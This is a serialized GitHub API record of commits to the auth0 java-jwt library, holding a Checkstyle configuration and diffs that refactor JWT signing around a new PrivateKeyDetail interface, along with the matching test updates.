+                      value="^@return the *|^This method returns |^A [{]@code [a-zA-Z0-9]+[}]( is a )"/>
+        </module>
+        <module name="JavadocParagraph"/>
+        <module name="RequireEmptyLineBeforeBlockTagGroup"/>
+        <module name="AtclauseOrder">
+            <property name="tagOrder" value="@param, @return, @throws, @deprecated"/>
+            <property name="target"
+                      value="CLASS_DEF, INTERFACE_DEF, ENUM_DEF, METHOD_DEF, CTOR_DEF, VARIABLE_DEF"/>
+        </module>
+        <module name="JavadocMethod">
+            <property name="accessModifiers" value="public"/>
+            <property name="allowMissingParamTags" value="true"/>
+            <property name="allowMissingReturnTag" value="true"/>
+            <property name="allowedAnnotations" value="Override, Test"/>
+            <property name="tokens" value="METHOD_DEF, CTOR_DEF, ANNOTATION_FIELD_DEF, COMPACT_CTOR_DEF"/>
+        </module>
+        <module name="MissingJavadocMethod">
+            <property name="scope" value="public"/>
+            <property name="minLineCount" value="2"/>
+            <property name="allowedAnnotations" value="Override, Test"/>
+            <property name="tokens" value="METHOD_DEF, CTOR_DEF, ANNOTATION_FIELD_DEF,
+                                   COMPACT_CTOR_DEF"/>
+        </module>
+        <module name="MissingJavadocType">
+            <property name="scope" value="protected"/>
+            <property name="tokens"
+                      value="CLASS_DEF, INTERFACE_DEF, ENUM_DEF,
+                      RECORD_DEF, ANNOTATION_DEF"/>
+            <property name="excludeScope" value="nothing"/>
+        </module>
+        <module name="MethodName">
+            <property name="format" value="^[a-z][a-z0-9][a-zA-Z0-9_]*$"/>
+            <message key="name.invalidPattern"
+                     value="Method name ''{0}'' must match pattern ''{1}''."/>
+        </module>
+        <module name="SingleLineJavadoc"/>
+        <module name="EmptyCatchBlock">
+            <property name="exceptionVariableName" value="expected"/>
+        </module>
+        <module name="CommentsIndentation">
+            <property name="tokens" value="SINGLE_LINE_COMMENT, BLOCK_COMMENT_BEGIN"/>
+        </module>
+        <!-- https://checkstyle.org/config_filters.html#SuppressionXpathFilter -->
+        <module name="SuppressionXpathFilter">
+            <property name="file" value="${org.checkstyle.google.suppressionxpathfilter.config}"
+                      default="checkstyle-xpath-suppressions.xml" />
+            <property name="optional" value="true"/>
+        </module>
+    </module>
+</module>
\ No newline at end of fileu}(j  (dbadcccacd3695133b0ce6daf86d27426a4ded40j  lib/build.gradlej  modifiedj  Kj  K j  Kj  bhttps://github.com/auth0/java-jwt/blob/2aa4b95e3aab31ec60948dac653e342102f9ce9a/lib%2Fbuild.gradlej	  ahttps://github.com/auth0/java-jwt/raw/2aa4b95e3aab31ec60948dac653e342102f9ce9a/lib%2Fbuild.gradlej  thttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fbuild.gradle?ref=2aa4b95e3aab31ec60948dac653e342102f9ce9aj
  @@ -2,6 +2,11 @@ plugins {
     id 'java'
     id 'jacoco'
     id 'com.auth0.gradle.oss-library.java'
+    id 'checkstyle'
+}
+
+checkstyle {
+    toolVersion '10.0'
 }
 
 logger.lifecycle("Using version ${version} for ${group}.${name}")ueu(3be4b38d784b22f8e28fa39e8cdcf66643074b7e}(sha(3be4b38d784b22f8e28fa39e8cdcf66643074b7enode_idEC_kwDOAQtL0doAKDNiZTRiMzhkNzg0YjIyZjhlMjhmYTM5ZThjZGNmNjY2NDMwNzRiN2Ucommit}(author}(name
Poovamraj T Temailpoovamraj@gmail.comdate2022-03-31T07:05:44Zu	committer}(j!  
Poovamraj T Tj#  poovamraj@gmail.comj%  2022-03-31T07:05:44ZumessageImplemented Key Providertree}(j  (82135fb4f21a8622080e689379dfed8c2378a2e8url^https://api.github.com/repos/auth0/java-jwt/git/trees/82135fb4f21a8622080e689379dfed8c2378a2e8uj1  `https://api.github.com/repos/auth0/java-jwt/git/commits/3be4b38d784b22f8e28fa39e8cdcf66643074b7e
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuuj1  \https://api.github.com/repos/auth0/java-jwt/commits/3be4b38d784b22f8e28fa39e8cdcf66643074b7ehtml_urlQhttps://github.com/auth0/java-jwt/commit/3be4b38d784b22f8e28fa39e8cdcf66643074b7ecomments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/3be4b38d784b22f8e28fa39e8cdcf66643074b7e/commentsj  }(login	poovamrajidJ j  MDQ6VXNlcjE1OTEwNDI1
avatar_url4https://avatars.githubusercontent.com/u/15910425?v=4gravatar_idh3j1  &https://api.github.com/users/poovamrajj=  https://github.com/poovamraj
followers_url0https://api.github.com/users/poovamraj/followers
following_url=https://api.github.com/users/poovamraj/following{/other_user}	gists_url6https://api.github.com/users/poovamraj/gists{/gist_id}starred_url=https://api.github.com/users/poovamraj/starred{/owner}{/repo}subscriptions_url4https://api.github.com/users/poovamraj/subscriptionsorganizations_url+https://api.github.com/users/poovamraj/orgs	repos_url,https://api.github.com/users/poovamraj/repos
events_url7https://api.github.com/users/poovamraj/events{/privacy}received_events_url6https://api.github.com/users/poovamraj/received_eventstypeUser
site_adminuj'  }(jB  	poovamrajjD  J j  MDQ6VXNlcjE1OTEwNDI1jF  4https://avatars.githubusercontent.com/u/15910425?v=4jH  h3j1  &https://api.github.com/users/poovamrajj=  https://github.com/poovamrajjK  0https://api.github.com/users/poovamraj/followersjM  =https://api.github.com/users/poovamraj/following{/other_user}jO  6https://api.github.com/users/poovamraj/gists{/gist_id}jQ  =https://api.github.com/users/poovamraj/starred{/owner}{/repo}jS  4https://api.github.com/users/poovamraj/subscriptionsjU  +https://api.github.com/users/poovamraj/orgsjW  ,https://api.github.com/users/poovamraj/reposjY  7https://api.github.com/users/poovamraj/events{/privacy}j[  6https://api.github.com/users/poovamraj/received_eventsj]  Userj_  uparents]}(j  (67df3d476024cbe697b3a54893f5383945c7670dj1  \https://api.github.com/repos/auth0/java-jwt/commits/67df3d476024cbe697b3a54893f5383945c7670dj=  Qhttps://github.com/auth0/java-jwt/commit/67df3d476024cbe697b3a54893f5383945c7670duastats}(totalM"	additionsM	deletionsKufiles](}(j  (b30fd420e951c475f530d07357f9ce590e773817filename/lib/src/main/java/com/auth0/jwt/JWTCreator.javastatusmodifiedjy  K
jz  KchangesKblob_urlhttps://github.com/auth0/java-jwt/blob/3be4b38d784b22f8e28fa39e8cdcf66643074b7e/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreator.javaraw_urlhttps://github.com/auth0/java-jwt/raw/3be4b38d784b22f8e28fa39e8cdcf66643074b7e/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreator.javacontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreator.java?ref=3be4b38d784b22f8e28fa39e8cdcf66643074b7epatchX	  @@ -4,12 +4,14 @@
 import com.auth0.jwt.exceptions.JWTCreationException;
 import com.auth0.jwt.exceptions.SignatureGenerationException;
 import com.auth0.jwt.impl.*;
+import com.auth0.jwt.interfaces.PrivateKeyDetail;
 import com.fasterxml.jackson.core.JsonProcessingException;
 import com.fasterxml.jackson.databind.MapperFeature;
 import com.fasterxml.jackson.databind.ObjectMapper;
 import com.fasterxml.jackson.databind.module.SimpleModule;
 
 import java.nio.charset.StandardCharsets;
+import java.security.PrivateKey;
 import java.time.Instant;
 import java.util.*;
 import java.util.Map.Entry;
@@ -547,11 +549,13 @@ public String sign(Algorithm algorithm) throws IllegalArgumentException, JWTCrea
             if (!headerClaims.containsKey(PublicClaims.TYPE)) {
                 headerClaims.put(PublicClaims.TYPE, "JWT");
             }
-            String signingKeyId = algorithm.getSigningKeyId();
-            if (signingKeyId != null) {
-                withKeyId(signingKeyId);
+            PrivateKeyDetail<?> privateKeyDetail = algorithm.getPrivateKeyDetails();
+            String keyId = privateKeyDetail == null ? null : privateKeyDetail.getPrivateKeyId();
+            PrivateKey key = privateKeyDetail == null ? null : privateKeyDetail.getPrivateKey();
+            if (keyId != null) {
+                withKeyId(privateKeyDetail.getPrivateKeyId());
             }
-            return new JWTCreator(algorithm, headerClaims, payloadClaims).sign();
+            return new JWTCreator(algorithm, headerClaims, payloadClaims).sign(key);
         }
 
         private void assertNonNull(String name) {
@@ -565,14 +569,14 @@ private void addClaim(String name, Object value) {
         }
     }
 
-    private String sign() throws SignatureGenerationException {
+    private String sign(PrivateKey privateKey) throws SignatureGenerationException {
         String header = Base64.getUrlEncoder().withoutPadding()
                 .encodeToString(headerJson.getBytes(StandardCharsets.UTF_8));
         String payload = Base64.getUrlEncoder().withoutPadding()
                 .encodeToString(payloadJson.getBytes(StandardCharsets.UTF_8));
 
         byte[] signatureBytes = algorithm.sign(header.getBytes(StandardCharsets.UTF_8),
-                payload.getBytes(StandardCharsets.UTF_8));
+                payload.getBytes(StandardCharsets.UTF_8), privateKey);
         String signature = Base64.getUrlEncoder().withoutPadding().encodeToString((signatureBytes));
 
         return String.format("%s.%s.%s", header, payload, signature);u}(j  (67065a1b59e7009cb2f4f4b30caa7d7a1b7cb0cdj  9lib/src/main/java/com/auth0/jwt/algorithms/Algorithm.javaj  modifiedjy  K&jz  Kj  K)j  https://github.com/auth0/java-jwt/blob/3be4b38d784b22f8e28fa39e8cdcf66643074b7e/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FAlgorithm.javaj  https://github.com/auth0/java-jwt/raw/3be4b38d784b22f8e28fa39e8cdcf66643074b7e/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FAlgorithm.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FAlgorithm.java?ref=3be4b38d784b22f8e28fa39e8cdcf66643074b7ej  X.  @@ -4,8 +4,10 @@
 import com.auth0.jwt.exceptions.SignatureVerificationException;
 import com.auth0.jwt.interfaces.DecodedJWT;
 import com.auth0.jwt.interfaces.ECDSAKeyProvider;
+import com.auth0.jwt.interfaces.PrivateKeyDetail;
 import com.auth0.jwt.interfaces.RSAKeyProvider;
 
+import java.security.PrivateKey;
 import java.security.interfaces.*;
 
 /**
@@ -318,7 +320,7 @@ protected Algorithm(String name, String description) {
      *
      * @return the Key Id that identifies the Signing Key or null if it's not specified.
      */
-    public String getSigningKeyId() {
+    public PrivateKeyDetail<?> getPrivateKeyDetails() {
         return null;
     }
 
@@ -367,14 +369,32 @@ public String toString() {
      * @throws SignatureGenerationException if the Key is invalid.
      */
     public byte[] sign(byte[] headerBytes, byte[] payloadBytes) throws SignatureGenerationException {
+        PrivateKey privateKey = getPrivateKeyDetails() == null ? null : getPrivateKeyDetails().getPrivateKey();
+        return sign(headerBytes, payloadBytes, privateKey);
+    }
+
+    /**
+     * Sign the given content using this Algorithm instance.
+     *
+     * @param headerBytes  an array of bytes representing the base64 encoded header content
+     *                     to be verified against the signature.
+     * @param payloadBytes an array of bytes representing the base64 encoded payload content
+     *                     to be verified against the signature.
+     * @param privateKey   A private key with which the content has to be signed
+     *
+     * @return the signature in a base64 encoded array of bytes
+     * @throws SignatureGenerationException if the Key is invalid.
+     */
+    public byte[] sign(byte[] headerBytes, byte[] payloadBytes, PrivateKey privateKey)
+            throws SignatureGenerationException {
         // default implementation; keep around until sign(byte[]) method is removed
         byte[] contentBytes = new byte[headerBytes.length + 1 + payloadBytes.length];
 
         System.arraycopy(headerBytes, 0, contentBytes, 0, headerBytes.length);
         contentBytes[headerBytes.length] = (byte) '.';
         System.arraycopy(payloadBytes, 0, contentBytes, headerBytes.length + 1, payloadBytes.length);
 
-        return sign(contentBytes);
+        return sign(contentBytes, privateKey);
     }
 
     /**
@@ -386,7 +406,22 @@ public byte[] sign(byte[] headerBytes, byte[] payloadBytes) throws SignatureGene
      * @return the signature in a base64 encoded array of bytes
      * @throws SignatureGenerationException if the Key is invalid.
      */
+    public byte[] sign(byte[] contentBytes) throws SignatureGenerationException {
+        PrivateKey privateKey = getPrivateKeyDetails() == null ? null : getPrivateKeyDetails().getPrivateKey();
+        return sign(contentBytes, privateKey);
+    }
 
-    public abstract byte[] sign(byte[] contentBytes) throws SignatureGenerationException;
+    /**
+     * Sign the given content using this Algorithm instance.
+     * To get the correct JWT Signature, ensure the content is in the format {HEADER}.{PAYLOAD}
+     *
+     * @param contentBytes an array of bytes representing the base64 encoded content
+     *                     to be verified against the signature.
+     * @param privateKey   A private key with which the content has to be signed
+     *
+     * @return the signature in a base64 encoded array of bytes
+     * @throws SignatureGenerationException if the Key is invalid.
+     */
+    public abstract byte[] sign(byte[] contentBytes, PrivateKey privateKey) throws SignatureGenerationException;
 
 }u}(j  (bf41cbbacb71c4e6bdc7cc524857080afe100699j  <lib/src/main/java/com/auth0/jwt/algorithms/CryptoHelper.javaj  modifiedjy  K jz  Kj  Kj  https://github.com/auth0/java-jwt/blob/3be4b38d784b22f8e28fa39e8cdcf66643074b7e/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FCryptoHelper.javaj  https://github.com/auth0/java-jwt/raw/3be4b38d784b22f8e28fa39e8cdcf66643074b7e/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FCryptoHelper.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FCryptoHelper.java?ref=3be4b38d784b22f8e28fa39e8cdcf66643074b7ej  Xe  @@ -112,33 +112,6 @@ boolean verifySignatureFor(
         return s.verify(signatureBytes);
     }
 
-    /**
-     * Create signature for JWT header and payload using a private key.
-     *
-     * @param algorithm    algorithm name.
-     * @param privateKey   the private key to use for signing.
-     * @param headerBytes  JWT header.
-     * @param payloadBytes JWT payload.
-     * @return the signature bytes.
-     * @throws NoSuchAlgorithmException if the algorithm is not supported.
-     * @throws InvalidKeyException      if the given key is inappropriate for initializing the specified algorithm.
-     * @throws SignatureException       if this signature object is not initialized properly
-     *                                  or if this signature algorithm is unable to process the input data provided.
-     */
-    byte[] createSignatureFor(
-            String algorithm,
-            PrivateKey privateKey,
-            byte[] headerBytes,
-            byte[] payloadBytes
-    ) throws NoSuchAlgorithmException, InvalidKeyException, SignatureException {
-        final Signature s = Signature.getInstance(algorithm);
-        s.initSign(privateKey);
-        s.update(headerBytes);
-        s.update(JWT_PART_SEPARATOR);
-        s.update(payloadBytes);
-        return s.sign();
-    }
-
     /**
      * Create signature for JWT header and payload.
      *u*      }(j  (24e0a5715b87426af5fd797edf66bbaeec4ddcfaj  >lib/src/main/java/com/auth0/jwt/algorithms/ECDSAAlgorithm.javaj  modifiedjy  Kjz  Kj  Kj  https://github.com/auth0/java-jwt/blob/3be4b38d784b22f8e28fa39e8cdcf66643074b7e/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSAAlgorithm.javaj  https://github.com/auth0/java-jwt/raw/3be4b38d784b22f8e28fa39e8cdcf66643074b7e/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSAAlgorithm.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSAAlgorithm.java?ref=3be4b38d784b22f8e28fa39e8cdcf66643074b7ej  X  @@ -4,9 +4,11 @@
 import com.auth0.jwt.exceptions.SignatureVerificationException;
 import com.auth0.jwt.interfaces.DecodedJWT;
 import com.auth0.jwt.interfaces.ECDSAKeyProvider;
+import com.auth0.jwt.interfaces.PrivateKeyDetail;
 
 import java.security.InvalidKeyException;
 import java.security.NoSuchAlgorithmException;
+import java.security.PrivateKey;
 import java.security.SignatureException;
 import java.security.interfaces.ECPrivateKey;
 import java.security.interfaces.ECPublicKey;
@@ -61,23 +63,8 @@ public void verify(DecodedJWT jwt) throws SignatureVerificationException {
     }
 
     @Override
-    public byte[] sign(byte[] headerBytes, byte[] payloadBytes) throws SignatureGenerationException {
+    public byte[] sign(byte[] contentBytes, PrivateKey privateKey) throws SignatureGenerationException {
         try {
-            ECPrivateKey privateKey = keyProvider.getPrivateKey();
-            if (privateKey == null) {
-                throw new IllegalStateException("The given Private Key is null.");
-            }
-            byte[] signature = crypto.createSignatureFor(getDescription(), privateKey, headerBytes, payloadBytes);
-            return DERToJOSE(signature);
-        } catch (NoSuchAlgorithmException | SignatureException | InvalidKeyException | IllegalStateException e) {
-            throw new SignatureGenerationException(this, e);
-        }
-    }
-
-    @Override
-    public byte[] sign(byte[] contentBytes) throws SignatureGenerationException {
-        try {
-            ECPrivateKey privateKey = keyProvider.getPrivateKey();
             if (privateKey == null) {
                 throw new IllegalStateException("The given Private Key is null.");
             }
@@ -89,8 +76,8 @@ public byte[] sign(byte[] contentBytes) throws SignatureGenerationException {
     }
 
     @Override
-    public String getSigningKeyId() {
-        return keyProvider.getPrivateKeyId();
+    public PrivateKeyDetail<ECPrivateKey> getPrivateKeyDetails() {
+        return keyProvider.getPrivateKeyDetails();
     }
 
     //Visible for testingu}(j  (c4bed853115cff3613b859b30c8ca1c8633533d4j  =lib/src/main/java/com/auth0/jwt/algorithms/HMACAlgorithm.javaj  modifiedjy  Kjz  K
j  Kj  https://github.com/auth0/java-jwt/blob/3be4b38d784b22f8e28fa39e8cdcf66643074b7e/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FHMACAlgorithm.javaj  https://github.com/auth0/java-jwt/raw/3be4b38d784b22f8e28fa39e8cdcf66643074b7e/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FHMACAlgorithm.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FHMACAlgorithm.java?ref=3be4b38d784b22f8e28fa39e8cdcf66643074b7ej  XM  @@ -7,6 +7,7 @@
 import java.nio.charset.StandardCharsets;
 import java.security.InvalidKeyException;
 import java.security.NoSuchAlgorithmException;
+import java.security.PrivateKey;
 import java.util.Arrays;
 import java.util.Base64;
 
@@ -62,16 +63,7 @@ public void verify(DecodedJWT jwt) throws SignatureVerificationException {
     }
 
     @Override
-    public byte[] sign(byte[] headerBytes, byte[] payloadBytes) throws SignatureGenerationException {
-        try {
-            return crypto.createSignatureFor(getDescription(), secret, headerBytes, payloadBytes);
-        } catch (NoSuchAlgorithmException | InvalidKeyException e) {
-            throw new SignatureGenerationException(this, e);
-        }
-    }
-
-    @Override
-    public byte[] sign(byte[] contentBytes) throws SignatureGenerationException {
+    public byte[] sign(byte[] contentBytes, PrivateKey privateKey) throws SignatureGenerationException {
         try {
             return crypto.createSignatureFor(getDescription(), secret, contentBytes);
         } catch (NoSuchAlgorithmException | InvalidKeyException e) {u}(j  (d99c310cdecf47135097a6b6e9e1d2ba29d63e7ej  =lib/src/main/java/com/auth0/jwt/algorithms/NoneAlgorithm.javaj  modifiedjy  Kjz  K j  Kj  https://github.com/auth0/java-jwt/blob/3be4b38d784b22f8e28fa39e8cdcf66643074b7e/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FNoneAlgorithm.javaj  https://github.com/auth0/java-jwt/raw/3be4b38d784b22f8e28fa39e8cdcf66643074b7e/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FNoneAlgorithm.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FNoneAlgorithm.java?ref=3be4b38d784b22f8e28fa39e8cdcf66643074b7ej  X  @@ -3,6 +3,8 @@
 import com.auth0.jwt.exceptions.SignatureGenerationException;
 import com.auth0.jwt.exceptions.SignatureVerificationException;
 import com.auth0.jwt.interfaces.DecodedJWT;
+
+import java.security.PrivateKey;
 import java.util.Base64;
 
 class NoneAlgorithm extends Algorithm {
@@ -33,4 +35,9 @@ public byte[] sign(byte[] headerBytes, byte[] payloadBytes) throws SignatureGene
     public byte[] sign(byte[] contentBytes) throws SignatureGenerationException {
         return new byte[0];
     }
+
+    @Override
+    public byte[] sign(byte[] contentBytes, PrivateKey privateKey) throws SignatureGenerationException {
+        return new byte[0];
+    }
 }u}(j  (1d368f2a6ae63970f4db1033dac08cb243c16af2j  <lib/src/main/java/com/auth0/jwt/algorithms/RSAAlgorithm.javaj  modifiedjy  Kjz  Kj  Kj  https://github.com/auth0/java-jwt/blob/3be4b38d784b22f8e28fa39e8cdcf66643074b7e/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FRSAAlgorithm.javaj  https://github.com/auth0/java-jwt/raw/3be4b38d784b22f8e28fa39e8cdcf66643074b7e/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FRSAAlgorithm.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FRSAAlgorithm.java?ref=3be4b38d784b22f8e28fa39e8cdcf66643074b7ej  XR  @@ -3,11 +3,13 @@
 import com.auth0.jwt.exceptions.SignatureGenerationException;
 import com.auth0.jwt.exceptions.SignatureVerificationException;
 import com.auth0.jwt.interfaces.DecodedJWT;
+import com.auth0.jwt.interfaces.PrivateKeyDetail;
 import com.auth0.jwt.interfaces.RSAKeyProvider;
 
 import java.nio.charset.StandardCharsets;
 import java.security.InvalidKeyException;
 import java.security.NoSuchAlgorithmException;
+import java.security.PrivateKey;
 import java.security.SignatureException;
 import java.security.interfaces.RSAPrivateKey;
 import java.security.interfaces.RSAPublicKey;
@@ -58,22 +60,8 @@ public void verify(DecodedJWT jwt) throws SignatureVerificationException {
     }
 
     @Override
-    public byte[] sign(byte[] headerBytes, byte[] payloadBytes) throws SignatureGenerationException {
+    public byte[] sign(byte[] contentBytes, PrivateKey privateKey) throws SignatureGenerationException {
         try {
-            RSAPrivateKey privateKey = keyProvider.getPrivateKey();
-            if (privateKey == null) {
-                throw new IllegalStateException("The given Private Key is null.");
-            }
-            return crypto.createSignatureFor(getDescription(), privateKey, headerBytes, payloadBytes);
-        } catch (NoSuchAlgorithmException | SignatureException | InvalidKeyException | IllegalStateException e) {
-            throw new SignatureGenerationException(this, e);
-        }
-    }
-
-    @Override
-    public byte[] sign(byte[] contentBytes) throws SignatureGenerationException {
-        try {
-            RSAPrivateKey privateKey = keyProvider.getPrivateKey();
             if (privateKey == null) {
                 throw new IllegalStateException("The given Private Key is null.");
             }
@@ -84,8 +72,8 @@ public byte[] sign(byte[] contentBytes) throws SignatureGenerationException {
     }
 
     @Override
-    public String getSigningKeyId() {
-        return keyProvider.getPrivateKeyId();
+    public PrivateKeyDetail<RSAPrivateKey> getPrivateKeyDetails() {
+        return keyProvider.getPrivateKeyDetails();
     }
 
     //Visible for testingu}(j  (660e43e86894c7cd55b6740627c1f2d141352161j  ;lib/src/main/java/com/auth0/jwt/interfaces/KeyProvider.javaj  modifiedjy  Kjz  K j  Kj  https://github.com/auth0/java-jwt/blob/3be4b38d784b22f8e28fa39e8cdcf66643074b7e/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FKeyProvider.javaj  https://github.com/auth0/java-jwt/raw/3be4b38d784b22f8e28fa39e8cdcf66643074b7e/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FKeyProvider.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FKeyProvider.java?ref=3be4b38d784b22f8e28fa39e8cdcf66643074b7ej  X&  @@ -24,6 +24,7 @@ interface KeyProvider<U extends PublicKey, R extends PrivateKey> {
      * Getter for the Private Key instance. Used to sign the content on the JWT signing stage.
      *
      * @return the Private Key instance
+     * @deprecated Use {@link KeyProvider#getPrivateKeyDetails()} instead
      */
     R getPrivateKey();
 
@@ -32,6 +33,27 @@ interface KeyProvider<U extends PublicKey, R extends PrivateKey> {
      * This represents the `kid` claim and will be placed in the Header.
      *
      * @return the Key Id that identifies the Private Key or null if it's not specified.
+     * @deprecated Use {@link KeyProvider#getPrivateKeyDetails()} instead
      */
     String getPrivateKeyId();
+
+    /**
+     * Getter for the Private Key instance along with its Id.
+     * Used to sign the content on the JWT signing stage.
+     *
+     * @return the Private Key Details instance
+     */
+    default PrivateKeyDetail<R> getPrivateKeyDetails() {
+        return new PrivateKeyDetail<R>() {
+            @Override
+            public R getPrivateKey() {
+                return KeyProvider.this.getPrivateKey();
+            }
+
+            @Override
+            public String getPrivateKeyId() {
+                return KeyProvider.this.getPrivateKeyId();
+            }
+        };
+    }
 }u}(j  (36f2b0ebd7e961ea4fdad287bfa4146caed0425ej  @lib/src/main/java/com/auth0/jwt/interfaces/PrivateKeyDetail.javaj  addedjy  Kjz  K j  Kj  https://github.com/auth0/java-jwt/blob/3be4b38d784b22f8e28fa39e8cdcf66643074b7e/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FPrivateKeyDetail.javaj  https://github.com/auth0/java-jwt/raw/3be4b38d784b22f8e28fa39e8cdcf66643074b7e/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FPrivateKeyDetail.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FPrivateKeyDetail.java?ref=3be4b38d784b22f8e28fa39e8cdcf66643074b7ej  X  @@ -0,0 +1,25 @@
+package com.auth0.jwt.interfaces;
+
+import java.security.PrivateKey;
+
+/**
+ * Generic representation of Private Key with its Key ID.
+ *
+ * @param <R> the class that represents the Private Key
+ */
+public interface PrivateKeyDetail<R extends PrivateKey> {
+    /**
+     * Getter for the Private Key instance. Used to sign the content on the JWT signing stage.
+     *
+     * @return the Private Key instance
+     */
+    R getPrivateKey();
+
+    /**
+     * Getter for the Id of the Private Key used to sign the tokens.
+     * This represents the `kid` claim and will be placed in the Header.
+     *
+     * @return the Key Id that identifies the Private Key or null if it's not specified.
+     */
+    String getPrivateKeyId();
+}u}(j  (5277450b002573128d7f0f69aaa01ee2079bcf4dj  3lib/src/test/java/com/auth0/jwt/JWTCreatorTest.javaj  modifiedjy  K-jz  Kj  K5j  https://github.com/auth0/java-jwt/blob/3be4b38d784b22f8e28fa39e8cdcf66643074b7e/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreatorTest.javaj  https://github.com/auth0/java-jwt/raw/3be4b38d784b22f8e28fa39e8cdcf66643074b7e/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreatorTest.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreatorTest.java?ref=3be4b38d784b22f8e28fa39e8cdcf66643074b7ej  X  @@ -3,6 +3,7 @@
 import com.auth0.jwt.algorithms.Algorithm;
 import com.auth0.jwt.impl.PublicClaims;
 import com.auth0.jwt.interfaces.ECDSAKeyProvider;
+import com.auth0.jwt.interfaces.PrivateKeyDetail;
 import com.auth0.jwt.interfaces.RSAKeyProvider;
 import com.fasterxml.jackson.databind.ObjectMapper;
 import org.junit.Rule;
@@ -155,8 +156,17 @@ public void shouldAddKeyId() {
     public void shouldAddKeyIdIfAvailableFromRSAAlgorithms() throws Exception {
         RSAPrivateKey privateKey = (RSAPrivateKey) PemUtils.readPrivateKeyFromFile(PRIVATE_KEY_FILE_RSA, "RSA");
         RSAKeyProvider provider = mock(RSAKeyProvider.class);
-        when(provider.getPrivateKeyId()).thenReturn("my-key-id");
-        when(provider.getPrivateKey()).thenReturn(privateKey);
+        when(provider.getPrivateKeyDetails()).thenReturn(new PrivateKeyDetail<RSAPrivateKey>() {
+            @Override
+            public RSAPrivateKey getPrivateKey() {
+                return privateKey;
+            }
+
+            @Override
+            public String getPrivateKeyId() {
+                return "my-key-id";
+            }
+        });
 
         String signed = JWTCreator.init()
                 .sign(Algorithm.RSA256(provider));
@@ -171,8 +181,17 @@ public void shouldAddKeyIdIfAvailableFromRSAAlgorithms() throws Exception {
     public void shouldNotOverwriteKeyIdIfAddedFromRSAAlgorithms() throws Exception {
         RSAPrivateKey privateKey = (RSAPrivateKey) PemUtils.readPrivateKeyFromFile(PRIVATE_KEY_FILE_RSA, "RSA");
         RSAKeyProvider provider = mock(RSAKeyProvider.class);
-        when(provider.getPrivateKeyId()).thenReturn("my-key-id");
-        when(provider.getPrivateKey()).thenReturn(privateKey);
+        when(provider.getPrivateKeyDetails()).thenReturn(new PrivateKeyDetail<RSAPrivateKey>() {
+            @Override
+            public RSAPrivateKey getPrivateKey() {
+                return privateKey;
+            }
+
+            @Override
+            public String getPrivateKeyId() {
+                return "my-key-id";
+            }
+        });
 
         String signed = JWTCreator.init()
                 .withKeyId("real-key-id")
@@ -188,8 +207,17 @@ public void shouldNotOverwriteKeyIdIfAddedFromRSAAlgorithms() throws Exception {
     public void shouldAddKeyIdIfAvailableFromECDSAAlgorithms() throws Exception {
         ECPrivateKey privateKey = (ECPrivateKey) PemUtils.readPrivateKeyFromFile(PRIVATE_KEY_FILE_EC_256, "EC");
         ECDSAKeyProvider provider = mock(ECDSAKeyProvider.class);
-        when(provider.getPrivateKeyId()).thenReturn("my-key-id");
